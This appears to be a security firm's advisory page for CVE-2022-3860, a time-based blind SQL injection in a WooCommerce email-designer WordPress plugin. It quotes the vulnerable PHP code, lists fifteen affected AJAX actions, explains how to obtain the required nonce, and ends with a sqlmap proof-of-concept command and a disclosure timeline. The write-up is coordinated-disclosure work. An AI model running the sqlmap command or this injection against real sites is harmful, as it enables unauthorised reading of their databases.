Unlock Security® è gold sponsor di Cyber Frontiers Convention il 18 aprile 2026 nello Sky Campus di Milano Rogoredo

CVE-2022-3860

Image link

Visual Email Designer for WooCommerce < 1.7.2 - Multiple Author+ SQLi

Author

Francesco Marano, Donato Di Pasquale

Affected product

Product description

Visual Email Customizer for WooCommerce is a WordPress plugin for designing custom email teamplates to replace standard WooCommerce emails.

Vulnerability details

Analyzing the code, the file "sm-ajax.php" used to register the hooks (action and filter) of the plugin immediately caught our attention. It uses a small snippet of code repeated about 50 times in order to do this, each time specifying a different hook and its corresponding function:

sm-ajax.php
add_action('wp_ajax_NOME_DELLA_ACTION_AJAX', array( __CLASS__, 'NOME_DELLA_FUNZIONE_ASSOCIATA' ));

The reason we were particularly interested in this file is that using such a simple code snippet repeated so many times instead of using a loop and dictionary (or some equivalent data structure), reveals a programmer's predilection to copy-pasting rather than writing clean, maintainable code. In such cases, if a vulnerability is found, it is reasonable to assume that vulnerability is present elsewhere.

Let's use the social_function function as an example:

sm-ajax.php
add_action('wp_ajax_swcm_social_function', array( __CLASS__, 'social_function' ));

The code of the function is as follows:

sm-ajax.php
public static function social_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_social_id = sanitize_text_field($_POST['swcm_social_id']); $social_id = explode('_', $get_social_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $social_details['iconpos'] = $unser_template_details[$get_social_id]['position']; $social_details['bgcolor'] = $unser_template_details[$get_social_id]['bgcolor']; $social_details['facebook'] = $unser_template_details[$get_social_id]['fb']; $social_details['twitter'] = $unser_template_details[$get_social_id]['twitter']; $social_details['google'] = $unser_template_details[$get_social_id]['google']; $social_details['linkedin'] = $unser_template_details[$get_social_id]['linkedin']; $social_details['skype'] = $unser_template_details[$get_social_id]['skype']; $social_details['youtube'] = $unser_template_details[$get_social_id]['youtube']; $social_details['insta'] = $unser_template_details[$get_social_id]['instagram']; $social_details['rwidth'] = $unser_template_details[$get_social_id]['rwidth']; echo wp_json_encode($social_details); wp_die(); }

It is easy to see that this function suffers from SQL injection on the template_type POST parameter being used without sanitization to build the SQL query.

Before we analyze the code and write the exploit, we can test the hypothesis made earlier. Looking at many other functions in the same file we notice how they all have a very similar structure and are all affected by exactly the same vulnerability, on the same parameter. Let's look at another function as an example:

sm-ajax.php
public static function image_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_image_id = sanitize_text_field($_POST['swcm_image_id']); $image_id = explode('_', $get_image_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $image_details['imgpos'] = $unser_template_details[$get_image_id]['img_position']; $image_details['media'] = $unser_template_details[$get_image_id]['img_media']; $image_details['bgcolor'] = $unser_template_details[$get_image_id]['img_bgcolor']; $image_details['imgwidth'] = $unser_template_details[$get_image_id]['img_width']; $image_details['imgheight'] = $unser_template_details[$get_image_id]['img_height']; $image_details['rwidth'] = $unser_template_details[$get_image_id]['rwidth']; $image_details['url'] = $unser_template_details[$get_image_id]['url']; $image_details['rounded'] = $unser_template_details[$get_image_id]['rounded']; $image_details['border'] = $unser_template_details[$get_image_id]['border']; $image_details['bordersize'] = $unser_template_details[$get_image_id]['bsize']; $image_details['bordercolor'] = $unser_template_details[$get_image_id]['bcolor']; $image_details['imgtop'] = $unser_template_details[$get_image_id]['top']; $image_details['imgbottom'] = $unser_template_details[$get_image_id]['bottom']; echo wp_json_encode($image_details); wp_die(); }

Like these there are many other functions, all similar, all vulnerable. The full list follows:

  • social_function
  • swcm_video_function
  • footer_function
  • disclaimer_function
  • image_function
  • customer_function
  • delete_widget_function
  • hr_function
  • maintext_function
  • multi_image_function
  • button_function
  • title_function
  • swcm_clone_widget
  • order_function
  • textarea_function

We continue the analysis of the previous function in order to write a working exploit.

sm-ajax.php
public static function social_function() { check_ajax_referer('smack-woocomm-key-email-customizer', 'securekey'); global $wpdb; $get_social_id = sanitize_text_field($_POST['swcm_social_id']); $social_id = explode('_', $get_social_id); $template_type = sanitize_text_field($_POST['template_type']); $template_id = intval($_POST['template_id']); $theme_id = intval($_POST['theme_id']); $get_template_details = $wpdb->get_var("SELECT $template_type FROM {$wpdb->prefix}test_table WHERE template_id = $template_id AND theme_id = $theme_id AND status = 'temporary'"); $unser_template_details = json_decode($get_template_details, true); $social_details['iconpos'] = $unser_template_details[$get_social_id]['position']; $social_details['bgcolor'] = $unser_template_details[$get_social_id]['bgcolor']; $social_details['facebook'] = $unser_template_details[$get_social_id]['fb']; $social_details['twitter'] = $unser_template_details[$get_social_id]['twitter']; $social_details['google'] = $unser_template_details[$get_social_id]['google']; $social_details['linkedin'] = $unser_template_details[$get_social_id]['linkedin']; $social_details['skype'] = $unser_template_details[$get_social_id]['skype']; $social_details['youtube'] = $unser_template_details[$get_social_id]['youtube']; $social_details['insta'] = $unser_template_details[$get_social_id]['instagram']; $social_details['rwidth'] = $unser_template_details[$get_social_id]['rwidth']; echo wp_json_encode($social_details); wp_die(); }

The first obstacle is the use of the check_ajax_referer function, which checks for the existence of a securekey parameter with a randomly generated value during regular use of the plugin. We can then browse the website to the plugin-related pages, intercept the traffic using, for example, Burp or the browser console, and get the value we need to use.

Get the value of the securekey parameter using the browser console

Once we get the value for the securekey parameter, we can proceed. We see the other parameters are unnecessary since the injection point is right after the word SELECT, so we omit them all except for template_type which is our vulnerable parameter.

We are already able to exploit the vulnerability in a blind (time-based) way so far, but is it possible to do more than that? Unfortunately, no, because to output the result of the query we need to set the POST parameter swcm_image_id to any value, for example "sqli", and the query to return a string representing a JSON in the form:

{
    "sqli": {
        "img_position": "QUERY-SQL"
    }
}
In this way we would have in output:
{
  "iconpos": "RISULTATO-DELLA-QUERY-SQL",
  "bgcolor": null,
  "facebook": null,
  "twitter": null,
  "google": null,
  "linkedin": null,
  "skype": null,
  "youtube": null,
  "insta": null,
  "rwidth": null
}
Unfortunately, the wp_magic_quotesfunction, which is enabled by default on all WordPress installations, prevents the use of quotes by escaping them. This implies that we can exploit the vulnerability as long as we do not use quotes, but we cannot manipulate the output in the way we need to turn the SQL injection from blind to non-blind.

Proof of Concept

It is possible to exploit the vulnerability using SQLMap:

$ export COOKIES='YOUR-SESSION-COOKIES-HERE'
$ export SECUREKEY='YOUR-SECUREKEY-HERE'

$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=swcm_social_function' --data "securekey=${SECUREKEY}&template_type=test" -p template_type --dbms=mysql --technique=T -H "Cookie: ${COOKIES}" --level=3

Disclosure timeline

22/09/2022

Vulnerability submitted to WPScan

04/11/2022

Assigned CVE-2022-3860

21/11/2022

Official fix released

09/12/2022

Advisory published by WPScan

23/12/2022

Proof of Concept (PoC) published